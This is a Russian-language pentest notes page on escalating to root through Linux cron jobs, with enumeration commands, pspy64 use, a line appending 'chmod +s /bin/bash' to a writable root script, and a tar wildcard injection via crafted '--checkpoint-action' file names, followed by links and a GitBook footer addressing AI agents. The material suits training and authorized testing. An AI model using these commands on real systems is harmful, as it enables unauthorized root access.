> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/cron-jobs.md). # Cron jobs Задания cron создают пути повышения привилегий, когда повторяющиеся задачи root запускают записываемые скрипты, небезопасные относительные пути или уязвимые обработчики. Ключ в том, чтобы доказать, что пользователь с низкими привилегиями контролирует что-то, что выполнит привилегированная запланированная задача. ## Методика * Проверьте системные crontab, каталоги cron, таймеры и записываемые скрипты. * Используйте pspy64, чтобы наблюдать краткоживущие процессы без root. * Проверьте, использует ли задача небезопасные значения PATH, записываемые файлы или каталоги ввода, контролируемые атакующим. ## Быстрые проверки ```bash crontab -l cat /etc/crontab ls -la /etc/cron.* cat /etc/cron* 2>/dev/null find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null systemctl list-timers --all ``` ## Записываемые цели Cron Ищите скрипты или каталоги, которые выполняет привилегированная cron-задача и которые может изменять пользователь с низкими привилегиями. ```bash find /etc/cron* -type f -writable 2>/dev/null find / -writable -type f -path "*cron*" 2>/dev/null ``` Используйте `pspy64` когда cron-задачи краткоживущие или не видны в статических файлах: ```bash ./pspy64 ``` Если root-овая cron-задача запускает записываемый скрипт, простой путь проверки — установить бит SUID на Bash и дождаться выполнения по расписанию: ```bash echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh /bin/bash -p ``` ### Инъекция шаблонов Если cron-задача использует команды архивации с подстановочными знаками в записываемом каталоге, имена файлов могут стать параметрами команды. ```bash cd /var/www/ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh chmod +x exploit.sh touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh exploit.sh" ``` После выполнения cron-задачи: ```bash /tmp/bash -p ```

:clock:

Калькулятор выражений Cron

Ищите распространённые cron-выражения, специальные строки, синтаксис полей, значения расписания и заметки по проверке на повышение привилегий./pages/333f18a26482351af82f365bc054af3e8aa24c40

:clock:

Перечисление Cron с помощью pspy64

Заметки по инструменту pspy64 для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/dcd968e547d9fa3a24b2537dde3b8f8b52c7d7cb

:clock:

Задание Cron с изменённым Bash-скриптом

Заметки Cron Jobs - Modified Script (Bash) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/cb96a1705a5efb9ece7f2390457b95ac672aaf14

:clock:

Задание Cron с изменённым Python-скриптом

Заметки Cron Jobs - Modified Script (Python) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/f88f8777072666de881f2af27f47263b7d210a76

:clock:

Злоупотребление Cron с ImageMagick

Заметки Cron Jobs - ImageMagick Exploitation для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/1c18ea31693a2f948ce081eacb65790eb9903243

:clock:

Злоупотребление Cron с Logstash

Заметки Cron Jobs (Logstash) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/1d5c7c5da25b422d745150f841fca751eab4ae27
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/privesc/cron-jobs.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.